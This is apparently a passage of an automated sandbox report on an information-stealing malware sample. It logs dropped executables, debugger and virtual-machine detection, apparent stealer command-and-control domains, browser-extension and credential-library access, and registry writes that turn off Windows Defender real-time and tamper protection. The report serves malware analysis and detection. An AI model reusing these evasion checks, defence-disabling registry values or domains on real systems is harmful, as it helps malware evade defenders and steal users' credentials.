Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Code function: 3_2_00919C3E sidt fword ptr [esp-02h]

3_2_00919C3E

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Thread delayed: delay time: 922337203685477

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\softokn3[1].dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe TID: 1020	Thread sleep time: -210000s >= -30000s	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe TID: 1216	Thread sleep time: -32016s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe TID: 1896	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 5912	Thread sleep time: -48024s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 4256	Thread sleep count: 58 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 4256	Thread sleep time: -116058s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 5012	Thread sleep time: -40000s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 7136	Thread sleep count: 56 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 7136	Thread sleep time: -112056s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 4816	Thread sleep count: 61 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 4816	Thread sleep time: -122061s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 5688	Thread sleep count: 59 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 5688	Thread sleep time: -118059s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 1476	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 1476	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 652	Thread sleep count: 66 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 652	Thread sleep time: -132066s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 1524	Thread sleep count: 45 > 30	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe TID: 1524	Thread sleep time: -90045s >= -30000s	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7172	Thread sleep count: 40 > 30
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7172	Thread sleep time: -1200000s >= -30000s
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe TID: 7172	Thread sleep time: -30000s >= -30000s

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Last function: Thread delayed

Source: C:\Users\user\Documents\BAAFBFBAAK.exe

File Volume queried: C:\ FullSizeInformation

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C655070 strlen,PR_SetError,strcpy,_mbsdec,strlen,_mbsinc,_mbsinc,FindFirstFileA,GetLastError,

4_2_6C655070

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C53EBF0 PR_GetNumberOfProcessors,GetSystemInfo,

4_2_6C53EBF0

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread delayed: delay time: 30000

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\bg\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\html\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\images\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\_locales\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Extensions\nmmhkkegccagdldgiimedpiccmgmieda\1.0.0.6_0\css\	Jump to behavior

Source: iUKUR1nUyD.exe, 00000000.00000003.2353814543.0000000006615000.00000004.00000800.00020000.00000000.sdmp, KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000000.2354301471.000000000090E000.00000080.00000001.01000000.00000006.sdmp, KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046920104.00000000004CC000.00000040.00000001.01000000.00000009.sdmp, BAAFBFBAAK.exe, 00000010.00000000.3027137259.0000000000E60000.00000080.00000001.01000000.0000000F.sdmp, BAAFBFBAAK.exe, 00000010.00000002.3084266218.0000000000E60000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000011.00000000.3049556833.0000000001160000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000011.00000002.3113033798.0000000001160000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000002.3126028631.0000000001160000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000000.3068316175.0000000001160000.00000080.00000001.01000000.00000011.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: JJECGHJD.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: BAAFBFBAAK.exe, 00000010.00000003.3045534119.0000000000BB3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000C5E500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{a33c735c-61ca-11ee-8c18-806e6f6e6963}#0000000007500000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: JJECGHJD.4.dr	Binary or memory string: discord.comVMware20,11696428655f
Source: JJECGHJD.4.dr	Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: JJECGHJD.4.dr	Binary or memory string: global block list test formVMware20,11696428655
Source: iUKUR1nUyD.exe, 00000000.00000003.2159091734.0000000005AD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: - GDCDYNVMware20,11696428655p
Source: JJECGHJD.4.dr	Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B64000.00000004.00000020.00020000.00000000.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B92000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3332879910.00000000017AD000.00000004.00000020.00020000.00000000.sdmp, skotes.exe, 00000013.00000002.3332879910.00000000017D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: JJECGHJD.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: JJECGHJD.4.dr	Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: JJECGHJD.4.dr	Binary or memory string: secure.bankofamerica.comVMware20,11696428655\|UE
Source: JJECGHJD.4.dr	Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: JJECGHJD.4.dr	Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: JJECGHJD.4.dr	Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: JJECGHJD.4.dr	Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: JJECGHJD.4.dr	Binary or memory string: outlook.office.comVMware20,11696428655s
Source: JJECGHJD.4.dr	Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: JJECGHJD.4.dr	Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: skotes.exe, 00000013.00000002.3332879910.00000000017D8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWW
Source: JJECGHJD.4.dr	Binary or memory string: AMC password management pageVMware20,11696428655
Source: JJECGHJD.4.dr	Binary or memory string: tasks.office.comVMware20,11696428655o
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: JJECGHJD.4.dr	Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: JJECGHJD.4.dr	Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: JJECGHJD.4.dr	Binary or memory string: dev.azure.comVMware20,11696428655j
Source: JJECGHJD.4.dr	Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: iUKUR1nUyD.exe, 00000000.00000003.2159091734.0000000005AD4000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: YNVMware
Source: QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3048071959.0000000000B1E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: JJECGHJD.4.dr	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: JJECGHJD.4.dr	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000002.2523446142.000000000090F000.00000040.00000001.01000000.00000006.sdmp, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3046920104.00000000004CC000.00000040.00000001.01000000.00000009.sdmp, BAAFBFBAAK.exe, 00000010.00000000.3027137259.0000000000E60000.00000080.00000001.01000000.0000000F.sdmp, BAAFBFBAAK.exe, 00000010.00000002.3084266218.0000000000E60000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000011.00000000.3049556833.0000000001160000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000011.00000002.3113033798.0000000001160000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000002.3126028631.0000000001160000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000000.3068316175.0000000001160000.00000080.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000002.3330451224.0000000001160000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000013.00000000.3243986940.0000000001160000.00000080.00000001.01000000.00000011.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JJECGHJD.4.dr	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: iUKUR1nUyD.exe, 00000000.00000003.2353814543.0000000006615000.00000004.00000800.00020000.00000000.sdmp, KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000000.2354301471.000000000090E000.00000080.00000001.01000000.00000006.sdmp, KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe.0.dr	Binary or memory string: \\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: JJECGHJD.4.dr	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process queried: DebugPort
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Code function: 3_2_00908059 rdtsc

3_2_00908059

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Code function: 3_2_0077B79E LdrInitializeThunk,

3_2_0077B79E

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C60AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6C60AC62

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Process token adjusted: Debug

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C60AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,		4_2_6C60AC62
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Code function: 4_2_6C60B12A SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,		4_2_6C60B12A

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Memory allocated: page read and write | page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match

File source: Process Memory Space: QCOQEKY6WEL3K5GC9727N7E.exe PID: 6224, type: MEMORYSTR

LummaC encrypted strings found

Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bashfulacid.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: tentabatte.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: curverpluch.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: talkynicer.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: shapestickyr.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: manyrestro.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: slipperyloo.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wordyfindy.lat
Source: iUKUR1nUyD.exe, 00000000.00000003.2090391392.0000000004F70000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: observerfry.lat

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\BAAFBFBAAK.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\Documents\BAAFBFBAAK.exe "C:\Users\user\Documents\BAAFBFBAAK.exe"	Jump to behavior
Source: C:\Users\user\Documents\BAAFBFBAAK.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C654760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

4_2_6C654760

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C531C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

4_2_6C531C30

Source: KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe, 00000003.00000002.2524029196.0000000000961000.00000040.00000001.01000000.00000006.sdmp	Binary or memory string: PProgram Manager
Source: QCOQEKY6WEL3K5GC9727N7E.exe, QCOQEKY6WEL3K5GC9727N7E.exe, 00000004.00000002.3047121893.0000000000511000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: .Program Manager
Source: BAAFBFBAAK.exe, 00000010.00000002.3084625907.0000000000EA4000.00000040.00000001.01000000.0000000F.sdmp, skotes.exe, 00000011.00000002.3113332286.00000000011A4000.00000040.00000001.01000000.00000011.sdmp, skotes.exe, 00000012.00000002.3126210019.00000000011A4000.00000040.00000001.01000000.00000011.sdmp	Binary or memory string: vMProgram Manager

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C60AE71 cpuid

4_2_6C60AE71

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C60A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_6C60A8DC

Source: C:\Users\user\AppData\Local\Temp\QCOQEKY6WEL3K5GC9727N7E.exe

Code function: 4_2_6C558390 NSS_GetVersion,

4_2_6C558390

Source: C:\Users\user\Desktop\iUKUR1nUyD.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\KJS41VRCEBDG1XT5OWD29HCSZ2RM.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
